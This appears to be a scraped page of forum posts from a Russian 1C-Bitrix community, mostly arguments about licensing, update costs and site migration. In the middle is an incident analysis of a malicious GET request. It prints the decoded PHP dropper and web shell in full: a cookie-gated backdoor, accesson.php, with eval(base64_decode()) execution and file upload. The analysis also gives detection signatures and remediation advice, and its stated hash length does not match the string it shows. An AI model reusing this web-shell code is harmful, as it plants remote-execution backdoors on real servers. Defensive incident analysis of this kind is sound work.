Алексей Иванов написал: если такой модуль навечно у других стоит 10000р,
видимо вы еще не сталкивались с проблемами таких вот вечностей... не может подобное гарантированно работать при том что вокруг все меняется, ну где вы видели сейчас например комп с Windows XP на такой системе просто ни один браузер даже современный не установиться
ну а цены на обновление доработки и прочее банально надо закладывать в бизнес модели так же как вы закладываете заправку газели для доставки товаров, нельзя же рассчитывать что купив газель один раз на то что она не сломается не потребует заправки и ТО и будет еще вечно служить. Не вкладывайте ложных ожиданий, смотрите на реальность.
написал: Я помню как покупал лицензию на модуль бонусов, тот самый который у вас, когда он был еще vbcherepanov.
вот поэтому того модуля уже много лет как нет и вместо него новая полностью версия
Цитата
написал: Когда топовая веб студия считает что ПОВАЛЬНО неработающий функционал это "несоответствие выстроенных ожиданий реальности" какие еще могут быть вопросы?Напоминает знаменитое "можно, а зачем?"
вот очень удачно вы вспомнили про можно а зачем, а вот действительно ВАЗу можно а зачем? Посмотрите на ситуацию с позиции реальности, ваз сам по себе создавался в идеологии дешевой простой машины и ответ реально соответствует текущей экономике, вот если Европа делает коробки для всех производителей на рынок из 750 млн потребителей и там это реально окупается, то в наших реалиях разработка собственной коробки на емкость рынка 140 млн ну никак не оправдывает экономику. Т.е. всегда есть причина почему так а не иначе. вот было бы у нас 700-800 млн население да еще на нашу то территорию, ситуация была бы совсем иной.
что касается Битрикса я считаю что они совершили большую ошибку сохранив кучу говнокода когда приняли решение сохранить совместимость между старым ядром и новым и это по сути похоронило саму CMS сделав ее крайне тяжелой и так же им не стоило лезть ни в интеграцию в ВК ни делать свой модный бесплатный шаблон ИМ и кучу прочего, а вместо этого развивать сам фреймворк. Но увы имеем опять таки что имеем и по мере возможности исправляем.
вы все равно не найдете конкурента достойного если вам нужен фреймворк а не сайт сбацанный на тильде. разве что мадженто но там локализация нулевая просто и поэтому для РФ не годиться совершенно. И да битриксу нужен конкурент который его заставит меняться а пока рынок сайтов стагнирует с огромной скоростью как и вообще малый бизнес который душат всеми возможными способами сейчас.
написал: Так причем тут рынок? Есть плата за обновления, которая не маленькая. И есть то что мы за нее получаем - "данный функционал больше не поддерживается".
если вас не устраивает - голосуйте рублем, не оплачивайте и переходите на те системы которые вы считаете выросли. Это и есть рынок когда клиент голосует своим рублем.
А вообще все разочарования основаны на несоответствии выстроенных ожиданий реальности.
написал: Я правильно понимаю, что для компании 1с БУС это продукт для дойки "дурачков", которые поведутся на "былую славу"?
а где вы видели обещания, что у Битрикса должен быть по умолчанию базовый самый крутой ИМ? Битрикс это фреймворк прежде всего дающий основу для разработчиков который вполне себе поддерживается, и если может чего и не хватает можете доделать сами. Вот у нас есть с более 400+ маркетами досками объявлений и т.п. площадками если хотите попробуйте, на него затрачено огромное количество усилий и даже яндекс маркет отказался от своего бесплатного в его пользу. Вот вам и пример решения клиентского запроса по развитию своего сайта в сеть представительств в интернете для развития бизнеса, а также автоматизации обмена данными с сайтом между всеми площадками.
если хостеру дорога репутация и клиенты, то никто в здравом уме такое делать не будет, наоборот предупреждают заранее клиентов что смотрите мл вот у вас уязвимость, обновите сервачок и битрикс с модулями...
а проникают как раз из-за раздолбайства или жадности и скупости через уязвимости которые публично в интернетах описаны и даже начинающий школьник может ими воспользоваться не говоря уже о том что настоящий хакер сделает бота который будет автоматом такое искать...
Увеличьте продажи трансформировав сайт
Как обновить сайт с очень старой версии php на новую? при обновлении php сайт перестаёт работать.
написал: (образно, чтобы заменить лампочку в фаре, нужно снять двигатель),
это можно и без бизнеса все делать, если начали работу со старта то и сидеть на нем дальше хотят бизнес то и делать сайт с нуля на бизнесе
все можно делать по разному, есть кулибины которые делают вездеходы в сарае из говна и палок как говориться, а есть китайские авто произведенные на заводе роботами и это не сопоставимые бюджеты как и в этой ситуации
я считаю так вот есть запорожец пусть он остается запорожцем, не надо к нему параллельно приделывать экскаватор, если нужен экскаватор то и надо его сразу отдельно просто купить.... только не надо пытаться сделать свою версию.
Цитата
написал: акрита
а вы видели хоть один шаблон их авторства?
Увеличьте продажи трансформировав сайт
Переход со Старт на Бизнес, Как сменить лицензию на девающем сайте без ущерба и потерь контента
написал: Заинтригован. Переход на Бизнес = добавлению новых модулей
если делать только сам переход, то какой в нем тогда смысл то получается? Ну да можно купить апгрейд и тупо поставить новые модули, это вообще ничего не изменит на сайте, но и смысл сего действия тоже нулевой ведь.
Речь про то что переход со старта на бизнес меняет всю товарную логику, изучите как работает торговый каталог и интернет магазин в отличии инфоблоков на которых все сделано на старте и тогда поймете что проще с нуля все сделать....
Увеличьте продажи трансформировав сайт
Переход со Старт на Бизнес, Как сменить лицензию на девающем сайте без ущерба и потерь контента
написал: Не все могут себе позволить держать постоянно обновленное ядро Битрикса, все решения и все модули сайта - это довольно трудоемкая и дорогая задача для большинства пользователей.
если бизнес не закладывает все необходимые расходы на поддержание сайта и прочих статей расхода, то такой бизнес не имеет шансов выжить. это как из серии продавцов которые купили по 100 продают по 120 а при этом доп расходов у них еще на 80 и потом сидят и удивляются как же так при марже в 20 они в кредитах и долгах оказались...
# Анализ и декодирование вредоносного GET-запроса в логах сервера
В ходе исследования подозрительного GET-запроса, обнаруженного в логах взломанного сервера, был проведен комплексный анализ структуры запроса и содержащегося в нем кода. Запрос демонстрирует признаки целенаправленной атаки на системы управления контентом с использованием техник обфускации и эксплуатации уязвимостей.
## Структура запроса и первичное декодирование
Исходный запрос содержит URL-encoded строку в параметре `midog`: ```http GET /?midog=%24s%3D%24_SERVER[...] HTTP/1.1 ``` Применение стандартного URL-декодирования с использованием `urllib.parse.unquote` в Python позволяет раскодировать основные компоненты запроса: ```php $s=$_SERVER['DOCUMENT_ROOT'].'/'; $s1=$s.'bitrix/admin/'; $fh=fopen($s1.'accesson.php','w'); fwrite($fh,'<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?> '); fclose($fh); ```
## Анализ PHP-кода
### Создание вредоносного файла Код создает файл `accesson.php` в директории `/bitrix/admin/`, что характерно для атак на системы управления типа 1С-Битрикс. Файл содержит многоуровневую систему проверок и функций:
1. **Математическая операция** `409723*20` служит для имитации легитимной активности и проверки работоспособности скрипта 2. **Проверка MD5-хеша** cookie-параметра "d": ```php md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143" ``` Декодирование строки с использованием комбинации octal и hex-последовательностей дает значение: ``` a17028f487cb2a846306464da3ad3878ec ``` Однако фактическая длина полученной строки (37 символов) превышает стандартный 32-символьный MD5-хеш, что указывает на ошибку в обфускации.
### Механизм выполнения кода При успешной проверке cookie активируется цепочка выполнения: ```php eval(base64_decode($_REQUEST["id"])) ``` Этот механизм позволяет: - Выполнять произвольный код через параметр `id` - Использовать base64 для обхода простых сигнатур - Работать с любым типом HTTP-запроса (GET, POST и т.д.)
Это реализует механизм загрузки файлов на сервер через POST-запросы с использованием Web-шелла.
## Тактико-технические характеристики атаки
### Целевая платформа - Системы управления на базе 1С-Битрикс - Веб-серверы с разрешенной записью в корневую директорию - Серверы с некорректными настройками прав доступа
### Методы обфускации 1. **Комбинированное кодирование**: - URL-encoding для передачи payload - Смешанное octal/hex-кодирование строк - Использование escape-последовательностей
2. **Динамическая генерация путей**: ```php $s = $_SERVER['DOCUMENT_ROOT'].'/'; $s1 = $s.'bitrix/admin/'; ``` Позволяет адаптироваться к различным конфигурациям сервера
3. **Ложные сигнатуры**: - Математические операции в открытой части кода - Использование стандартных имен переменных ($s, $s1)
### Механизмы persistence - Создание постоянного Web-шелла в системной директории - Использование cookie-авторизации для доступа - Возможность удаленного выполнения кода
## Рекомендации по обнаружению и предотвращению
### Сигнатуры для обнаружения 1. HTTP-запросы, содержащие: - Параметр `midog` с URL-encoded PHP-кодом - Cookie с именем "d" и 32-символьным значением - Параметр "id" с base64-данными
2. Файловые сигнатуры: - Файлы `accesson.php` в директориях `/bitrix/admin/` - Наличие строк `eval(base64_decode(` в PHP-файлах
### Защитные меры 1. **Конфигурационные**: - Запрет записи в системные директории - Ограничение прав доступа для PHP-процессов - Регулярное обновление CMS и компонентов
2. **Мониторинг**: - Анализ нестандартных запросов к админ-панелям - Контроль создания новых файлов в системных директориях - Логирование операций файловой системы
3. **Технические**: - Реализация WAF с правилами для обнаружения: ```regex /\$_(REQUEST|GET|POST)\.*?base64_decode/ ``` - Использование систем контроля целостности файлов - Регулярный аудит активных Web-шеллов
## [Анализ вектора атаки
### Этапы эксплуатации 1. **Первичный доступ**: - Через уязвимости в компонентах CMS - Межсайтовый скриптинг (XSS) - SQL-инъекции
2. **Установка бекдора**: - Создание файла accesson.php - Настройка каналов удаленного доступа
3. **Эскалация привилегий**: - Использование функций копирования файлов - Модификация системных конфигураций
4. **Долгосрочное присутствие**: - Установка дополнительных скриптов - Кражу учетных данных - Организация командного центра
### Цели атаки 1. Кража конфиденциальных данных 2. Организация DDoS-атак 3. Распространение вредоносного ПО 4. Криптовалютный майнинг 5. Шантаж и вымогательство
## Восстановление после инцидента
### Неотложные меры 1. Изоляция зараженного сервера 2. Анализ временных рамок атаки 3. Проверка целостности системных файлов 4. Смена всех учетных данных
### Долгосрочные меры 1. Реализация системы резервного копирования 2. Внедрение SIEM-систем 3. Регулярное обучение персонала 4. Пентест и аудит безопасности
## Заключение
Проведенный анализ демонстрирует сложный многоэтапный характер атаки, использующей сочетание методов социальной инженерии и технических уязвимостей. Обнаруженный payload представляет серьезную угрозу для информационной безопасности, требующую комплексного подхода к нейтрализации. Ключевыми аспектами защиты становятся постоянный мониторинг, своевременное обновление систем и многоуровневая верификация пользовательских запросов.
Увеличьте продажи трансформировав сайт
Трафик, увеличение продаж в штуках, раскрутка сайта, бренда, маркетплейсы внешний трафик., Сайты на битриксе, оптовые розничные продажи, поддержка ваших маркетплейсов внешним трафиком.
написал: Коллеги из Битрикс - Интересно а рассмотрите ли предложение чтобы каждый сайт который создается отдельным ядром создавался под отдельным пользователем? Это бы позволило повысить безопасность в случае когда на одном сервере несколько сайтов на разных ядрах. А то сейчас ситуация такая что пользователи одного сайта легко получают доступ к другому что не есть хорошо....
подобная ситуация говорит о том что вы не закончили установку, и если скрипт автоматически не смог создать базу данных - ее надо создать в ручную и продолжить установку.
Коллеги из Битрикс - Интересно а рассмотрите ли предложение чтобы каждый сайт который создается отдельным ядром создавался под отдельным пользователем? Это бы позволило повысить безопасность в случае когда на одном сервере несколько сайтов на разных ядрах. А то сейчас ситуация такая что пользователи одного сайта легко получают доступ к другому что не есть хорошо....